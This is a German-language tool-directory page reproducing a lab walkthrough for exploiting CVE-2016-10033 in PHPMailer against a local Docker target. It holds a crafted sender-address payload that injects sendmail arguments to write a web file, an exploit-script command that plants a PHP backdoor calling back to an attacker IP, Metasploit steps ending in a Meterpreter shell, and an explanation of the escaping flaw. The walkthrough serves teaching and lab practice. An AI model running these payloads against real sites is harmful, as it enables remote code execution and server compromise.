Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC-CVE-2016-10033 — Proof of Concept für CVE-2016-10033 (PHPMailer) | Kitploit
Tools/GitHubGitHub/astrowmist/poc-cve-2016-10033
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubastrowmist/poc-cve-2016-10033

POC-CVE-2016-10033

Proof of Concept für CVE-2016-10033 (PHPMailer)

Repository anzeigen
vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

POC-CVE-2016-10033

Zuerst lasst uns die verwundbare Anwendung zum Laufen bringen.

Schritt 1: Führen Sie den folgenden Befehl aus, um das verwundbare Docker-Image aus dem Docker-Repository abzurufen.

Befehl: docker pull vulnerables/cve-2016-10033

alt text

Schritt 2: Ausführen des Docker-Images in Docker Desktop, wobei Port 8080 freigegeben wird.

alt text

Sie können jetzt die verwundbare Website unter localhost:8080 im Webbrowser aufrufen.

alt text

Methode 1: über Webseite

Schritt 1: Füllen Sie das Formular mit den folgenden Eingaben aus:

Name-Eingabe: OSEC (kann eine beliebige Zeichenfolge sein, dies beeinflusst den Exploit nicht)
Konstruierte Absender-E-Mail: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com

Wie diese konstruierte Absender-E-Mail funktioniert, wird im Abschnitt zur Beschreibung des Angriffsvektors ausführlich erläutert. Was die spezifischen Parameter betrifft, so gibt der zweite Parameter -oQ/tmp das Warteschlangenverzeichnis an und der dritte Parameter -X/www/pwn.html den Speicherort der zu schreibenden Logdatei. Wenn das Warteschlangenverzeichnis nicht angegeben wird, würde der Sendmail-Prozess versuchen, auf das Standard-Mail-Warteschlangenverzeichnis (/var/spool/mqueue-client/) zuzugreifen, das geschützt wäre, um unbefugten Zugriff und Manipulation zu verhindern, was eine gängige Sicherheitsmaßnahme ist. Um dieses Berechtigungsproblem zu vermeiden, sollten Sie ein Warteschlangenverzeichnis angeben, in dem der Benutzer, der das PHP-Skript ausführt, Schreibrechte hat. Üblicherweise wird ein Verzeichnis wie /tmp verwendet, da es normalerweise von allen Benutzern beschreibbar ist. Wenn der E-Mail-Text PHP-Code enthält und die angegebene Logdatei in einem webbasierten Verzeichnis platziert wird, kann der Angreifer den PHP-Code ausführen, indem er über einen Webbrowser auf die Logdatei zugreift, was zu Remote-Code-Ausführung führt.

Nachrichten-Eingabe: Dies ist nur eine Beispiel-HTML-Datei, die ein Angreifer hochladen könnte. Natürlich könnte der Angreifer etwas viel Schlimmeres hochladen, wie z.B. eine Hintertür, was wir in der nächsten Exploit-Methode tun werden.

root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hacked!</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;        
        }
        .container {
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1 style="color: red;">Congratulations! You've been hacked!</h1>
        <div>
            
            <p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
        </div>
    </div>
</body>
</html>

Schritt 2: Nach dem Absenden des Formulars rufen Sie die HTML-Datei auf, die wir gerade unter http://localhost:8080/pwn.html hochgeladen haben.

alt text

Methode 2: über Kommandozeile (Exploit-Skript)

Anforderungen: Dieses Skript ist nur mit Python 2 kompatibel (es funktioniert nicht mit Python 3).

Schritt 1: Laden Sie das Exploit-Skript unter https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py herunter.

Schritt 2: Führen Sie dann das Skript mit den folgenden Argumenten aus:

Befehl: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www

-url -> gibt die Ziel-URL an
-cf -> gibt den Speicherort des Kontaktformulars innerhalb der in -url angegebenen URL an. (In unserem Fall ist es exakt dasselbe wie -url, daher haben wir nur einen Schrägstrich eingefügt)
-ip -> gibt die IP des Angreifers an, mit der die Hintertür eine Verbindung herstellen soll
-d -> gibt das relative Verzeichnis zum Hochladen der PHP-Hintertürdatei an
--post-action -> Das name-Attribut des versteckten Feldes
--post-msg -> Das name-Attribut des Nachrichteneingabefeldes

alt text Hinweis: Der Grund, warum wir --post-action auf "submit" und --post-msg auf "message" setzen müssen, ist, dass in der von uns verwendeten verwundbaren Anwendung das name-Attribut von den Standardwerten des Python-Exploit-Skripts abweicht.

Die name-Attribute in der verwundbaren Anwendung:

alt text

Die im Skript angegebenen Standard-name-Attribute: alt text

Schritt 3: Nachdem wir den Befehl ausgeführt hatten, erhielten wir jedoch einen Fehler, der unten gezeigt wird.

alt text
Im obigen Bild sehen Sie, dass das Programm versucht, auf http://127.0.0.1:8080//www/phpbackdoor9284.php zuzugreifen, was aufgrund von //www offensichtlich falsch ist. Dies wird nicht funktionieren, da in dieser verwundbaren Website /www das Website-Root ist. Daher können Sie nicht zu http://127.0.0.1:8080/www navigieren, da http://127.0.0.1:8080 bereits im /www-Verzeichnis liegt.

Außerdem können wir im folgenden Bild sehen, dass der Exploit tatsächlich funktioniert hat, da die Datei phpbackdoor9284.php erfolgreich im Verzeichnis erstellt wurde. Das einzige Problem war daher, wie man das //www aus der URL entfernt.
alt text

Bei näherer Untersuchung des Python-Skripts konnten wir die Variable BACKDOOR_URL lokalisieren, die die URL zur PHP-Hintertürdatei angibt. In der Variable sehen wir, dass das von uns angegebene Zielverzeichnis (args.TARGET_UP_DIR) mit der Variable BACKDOOR_FILE verkettet wird. Um das Problem zu lösen, müssen wir das und den zusätzlichen Schrägstrich entfernen.

Vorher:
alt text

Nachher:
alt text

**Hinweis: Das Skript in diesem Repository ist bereits modifiziert und einsatzbereit

Schritt 4: Führen Sie nun den vorherigen Befehl erneut aus. Diesmal sollte die Hintertür erfolgreich in das Web-Root-Verzeichnis hochgeladen worden sein und eine Verbindung zu meinem Kali hergestellt haben.

alt text

Methode 3: Metasploit

Schritt 1: Geben Sie msfconsole im Kali-Terminal ein, um Metasploit zu öffnen. Suchen Sie dann nach Metasploit-Modulen für CVE-2016-10033. Wählen Sie das Modul aus, indem Sie den zugehörigen Index auswählen. Im folgenden Screenshot haben wir 1 gewählt, das auf PHPMailer < 5.2.18 abzielt.

Befehle:
msfconsole
search CVE-2016-10033
use 1
alt text

Schritt 2: Setzen Sie die erforderlichen Optionen für das Exploit-Modul, wie die IP-Adresse des Ziels, den Port, die Ziel-URL und das Web-Root.

Befehle:
set RHOSTS 192.168.79.1 (gibt die IP des Ziels an)
set RPORT 8080 (gibt den Port des Ziels an)
set TARGETURI /(gibt die URL des Webformulars an)
set WEB_ROOT /www (gibt an, wo sich das Website-Root befindet)

alt text

Schritt 3: Geben Sie "exploit" ein, um den Exploit auszuführen. Wenn alles gut geht, sollten Sie eine Meterpreter-Shell der Zielmaschine erhalten, wie unten gezeigt.

Befehl: exploit

alt text

Wir sind am Ende des POC angelangt.

Erklärung des Exploits

Die PHPMailer-Klasse verwendet die PHP-Funktion mail() als ihren Standardtransport. Der Transport wird mit der Funktion mailSend() implementiert: alt text

Wenn Sie sich Zeile 12 ansehen,
alt text

wird die Absenderadresse gemäß der PHP-Dokumentation der mail()-Funktion mit -f verkettet, um dem Sendmail-Binary mitzuteilen, dass die Zeichenfolge nach dem -f-Argument die E-Mail-Adresse des Absenders ist. alt text

In der letzten Zeile der mailSend()-Funktion,
alt text

werden alle Argumente übergeben, die von der PHP-Funktion mail() benötigt werden, einschließlich des 5. Parameters $params, der es ermöglicht, zusätzliche Parameter an das Sendmail-Binary zu übergeben.

Das folgende Bild zeigt die Parameter, die die mail()-Funktion erwartet und die mit den Parametern übereinstimmen, die die mailSend()-Funktion übergibt.
alt text

Wie oben zu sehen, wissen wir, dass der String $params aus der Sender-Variable aufgebaut wird. Dieser Sender-String wird normalerweise mit der Methode setFrom() gesetzt, die die vom Benutzer im Webformular eingegebene Absenderadresse validiert.

alt text

Aufgrund der Validierung durch die Funktion validateAddress() würde PHPMailer beispielsweise eine E-Mail wie,
attacker -InjectedParam2 @attacker.com
ablehnen, was die Injektion zusätzlicher Parameter in Sendmail via die mail()-Funktion verhindern würde.

Bei weiteren Recherchen des Gründers des CVE stellte er fest, dass die Validierung tatsächlich anhand der RFC-3696-Spezifikation erfolgt.

Der RFC erlaubt E-Mails, Leerzeichen zu enthalten, wenn sie mit " in Anführungszeichen gesetzt werden. Daher würde die folgende E-Mail-Adresse von der Methode setFrom() akzeptiert werden:
"Attacker -Param2 -Param3"@test.com
Diese würde dann an die Funktion mailSend() und dann an die PHP-Funktion mail() übergeben werden, die dann /usr/bin/sendmail, das MTA (Mail Transfer Agent)-Binary, mit der folgenden Argumentliste ausführen würde:

root@kitploit:~
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t] (read recipients from headers)
Arg no. 2 == [-i] (ignore dots on lines)
Arg no. 3 == [-f”Attacker -Param2 -Param3”@test.com]

Mit anderen Worten so:
alt text

was für den Angreifer nicht funktionieren würde, da Param2 und Param3 innerhalb desselben Arguments Nummer 3 übergeben werden, das die Absenderadresse angibt.

Angreifer können jedoch durch zusätzliches Escaping ausbrechen. Indem sie eine zusätzliche Sequenz von \" in die Absender-E-Mail nach dem ersten Argument einfügen,
"Attacker \" -Param2 -Param3"@test.com
und wenn diese an PHPMailer und schließlich an die mail()-Funktion übergeben wird, würde sie das Sendmail-Binary mit der folgenden Argumentliste ausführen:

root@kitploit:~
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]

Mit anderen Worten so:
alt text

Daher könnten Angreifer diesmal zusätzliche Parameter injizieren, in diesem Fall Parameter 4 und 5.

Danksagungen

Diese Schwachstelle wurde von Dawid Golunski gefunden.

Das Docker-Image wurde von opsxcq erstellt - https://github.com/opsxcq

und nicht zuletzt meine lieben Gruppenmitglieder, die mir bei dem POC geholfen haben :
Xavion - https://www.linkedin.com/in/xaviontok/
Brandon - https://www.linkedin.com/in/brandontyf/

Tool herunterladen